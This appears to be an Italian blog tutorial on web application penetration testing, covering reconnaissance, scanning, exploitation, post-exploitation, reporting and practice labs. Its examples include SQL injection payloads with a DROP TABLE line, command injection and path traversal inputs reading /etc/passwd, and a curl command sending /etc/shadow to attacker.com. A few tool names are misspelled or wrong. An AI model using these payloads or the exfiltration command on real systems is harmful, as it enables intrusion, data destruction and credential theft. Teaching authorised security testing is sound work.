Meta description: Scopri come fare penetration testing su applicazioni web. Guida pratica completa con metodologie, strumenti open source e tecniche utilizzate dai professionisti della sicurezza informatica.
Il penetration testing, o pen test, è una componente fondamentale della sicurezza applicativa moderna. Consiste nella simulazione controllata di attacchi informatici per identificare vulnerabilità e punti deboli prima che vengano sfruttati da malintenzionati. A differenza di un attacco reale, il penetration testing viene condotto in modo autorizzato, documentato e con l'obiettivo di migliorare la postura di sicurezza dell'organizzazione.
In questa guida pratica, ti accompagnerò attraverso ogni fase del penetration testing, dalla pianificazione iniziale alla reportizzazione finale, fornendoti gli strumenti e le conoscenze necessarie per iniziare il tuo percorso nel mondo del ethical hacking.
Cos'è il penetration testing e perché è importante
Il penetration testing è una valutazione strutturata della sicurezza di un sistema o di una rete. A differenza del vulnerability assessment, che si limita a identificare vulnerabilità note, il penetration testing cerca di sfruttarle attivamente per comprenderne l'impatto reale.
Le organizzazioni sfruttano il penetration testing per diversi motivi. In primo luogo, per identificare vulnerabilità che potrebbero sfuire ai test automatizzati. In secondo luogo, per testare l'efficacia dei controlli di sicurezza esistenti. Infine, per soddisfare requisiti normativi e di compliance come PCI-DSS, GDPR e ISO 27001.
Tipi di penetration testing
Black Box Testing
Il tester ha poca o nulla informazione sul sistema da testare, simulando un attaccante esterno. Questo approccio è il più realistico ma anche il più costoso in termini di tempo.
White Box Testing
Il tester ha accesso completo al codice sorgente, all'architettura e alle credenziali. Permette un'analisi approfondida ma non simula le condizioni di un attaccante reale.
Gray Box Testing
Un approccio intermedio dove il tester ha alcune informazioni, come credenziali di basso livello o documentazione parziale. È il tipo più comune in ambito aziendale.
Fasi del penetration testing
1. Pianificazione e Raccolta Informazioni (Reconnaissance)
La prima fase consiste nella raccolma delle informazioni sul target. Può essere passiva (senza interazione diretta) o attiva (con interazione diretta).
Tecniche OSINT (Open Source Intelligence)
# Raccogli informazioni su un dominio
whois example.com
dig example.com ANY
host example.com
# Scopri subdomain
subfinder -d example.com -o subdomains.txt
amass enum -d example.com
# Raccogli informazioni su IP e tecnologie
whatweb https://example.com
wappalyzer https://example.com
# Cerca informazioni in archivi pubblici
theHarvester -d example.com -b google,linkedin,bing
Enumerazione attiva
# Scansione delle porte
nmap -sV -sC -p- --open -oA scan_completo example.com
# Scansione vulnerabilità
nmap --script vuln example.com
# Enumerazione servizi SMB/SAMBA
enum4linux -a example.com
# Enumerazione DNS
dnsrecon -d example.com -t axfr
2. Analisi delle Vulnerabilità
In questa fase, le informazioni raccolte vengono analizzate per identificare potenziali punti di ingresso e vulnerabilità.
# Scansione web con Nikto
nikto -h https://example.com -output nikto_scan.txt
# Scansione automatica con OWASP ZAP
zap-cli quick-scan --self-contained \
--start-options '-config api.disablekey=true' \
https://example.com
# SQL Injection testing
sqlmap -u "https://example.com/page?id=1" \
--batch --level=3 --risk=2 \
--forms --crawl=5
# XSS Testing
dalfox url "https://example.com/search?q=test" \
--silence --no-color
3. Exploitation
La fase di exploitation è la più delicata. L'obiettivo è sfruttare le vulnerabilità identificate per ottenere accesso non autorizzato.
# Esempio: Test di SQL Injection manuale
import requests
def test_sqli(url, param):
payloads = [
"' OR '1'='1",
"' OR '1'='1' --",
"' UNION SELECT null,null,null --",
"1; DROP TABLE users --"
]
for payload in payloads:
params = {param: payload}
response = requests.get(url, params=params)
if "error" in response.text.lower() or \
"sql" in response.text.lower():
print(f"Possibile SQLi con payload: {payload}")
return True
return False
# Test di Command Injection
curl "https://example.com/ping?host=127.0.0.1;whoami"
curl "https://example.com/ping?host=127.0.0.1|id"
curl "https://example.com/ping?host=`id`"
# Test di File Inclusion
curl "https://example.com/page?file=../../../etc/passwd"
curl "https://example.com/page?file=....//....//etc/passwd"
curl "https://example.com/page?file=php://filter/convert.base64-encode/resource=index.php"
4. Post-Exploitation
Dopo aver ottenuto l'accesso, è importante valutare l'impatto reale della vulnerabilità e quanto l'attaccante potrebbe spingersi.
# Privilege escalation check
sudo -l
find / -perm -4000 -type f 2>/dev/null
uname -a
# Network enumeration
netstat -tulpn
ip a
arp -a
# Data exfiltration test
curl -X POST https://attacker.com/exfil \
-d @/etc/shadow
5. Reportizzazione
Il report è il risultato finale del penetration testing. Deve essere chiaro, dettagliato e actionable.
# Report di Penetration Testing
## Executive Summary
- Target: example.com
- Periodo: 01/01/2026 - 07/01/2026
- Vulnerabilità trovate: 12 (3 Critiche, 4 Alte, 3 Medie, 2 Basse)
## Vulnerabilità Critiche
### 1. SQL Injection in /api/users/search
- **Severità:** Critica (CVSS 9.8)
- **Descrizione:** Il parametro 'name' è vulnerabile a SQL injection
- **Impatto:** Accesso completo al database
- **Proof of Concept:** [payload]
- **Remediation:** Implementare query parametrizzate
Strumenti essenziali per il penetration testing
Framework di exploit
- Metasplito: Il framework di exploit più completo
- Core Attack: Alternativa commerciale
- Canvas: Framework commerciale con exploit aggiornati
Scanner di vulnerabilità
- Burp Suite: Strumento professionale per test web
- OWASP ZAP: Alternativa open source completa
- Nessus: Scanner di vulnerabilità enterprise
- OpenVAS: Alternativa open source
Strumenti di rete
- Nmap: Scansione porte e servizi
- Wireshark: Analisi del traffico di rete
- Tcpdump: Cattura pacchetti da riga di comando
Strumenti di password
- John the Ripper: Cracking password
- Hashcat: Cracking accelerato da GPU
- Hydra: Brute force di servizi di autenticazione
Ambiente di testing consigliato
Per iniziare con il penetration testing, ti consiglio di creare un ambiente di pratica sicuro:
# Setup con Docker
docker pull vulnerables/web-dvwa
docker run -d -p 8080:80 vulnerables/web-dvwa
# Setup Kali Linux (distro specializzata)
# Download da: https://www.kali.org/get-kali/
# Installazione strumenti essenziali
sudo apt update && sudo apt install -y \
nmap nikto sqlmap burpsuite \
metasploit-framework wireshark \
dirb gobuster hydra john
Piattaforme di pratica legale
Non testare mai sistemi senza autorizzazione! Ecco piattaforme dove puoi praticare legalmente:
- Hack The Box: Laboratori di sicurezza con macchine virtuali
- TryHackMe: Piattaforma learning-by-doing
- VulnHub: Macchine vulnerabili da scaricare
- PentesterLab: Esercizi guidati di sicurezza web
- PortSwigger Web Security Academy: Corso gratuito di web security
Best practice etiche e legali
Il penetration testing deve sempre essere condotto nel rispetto della legge e dell'etica professionale. È fondamentale ottenere un'autorizzazione scritta prima di iniziare qualsiasi test. Il documento di autorizzazione deve specificare il perimetro del test, le finestre temporali consentite e i contatti di emergenza.
Non testare mai sistemi fuori dal perimetro autorizzato. Ogni azione deve essere documentata per garantire la riproducibilità e la trasparenza. Infine, tutte le vulnerabilità trovate devono essere segnalate tempestivamente al cliente.
Conclusione
Il penetration testing è una disciplina affascinante che richiede costante aggiornamento e pratica. Iniziare con un ambiente di testing sicuro e seguire metodologie strutturate ti permetterà di sviluppare competenze solide nel tempo.
Ricorda che il penetration testing non è solo una questione tecnica, ma anche etica. Ogni vulnerabilità che scopri è un'opportunità per rendere il web un posto più sicuro.
Pronto a iniziare il tuo percorso nel penetration testing? Iscriviti alla nostra newsletter per ricevere guide settimanli, challenge pratiche e aggiornamenti sulle ultime tecniche di sicurezza. Condividi questo articolo con il tuo team e aiutaci a diffondere la cultura della sicurezza informatica!
Top comments (0)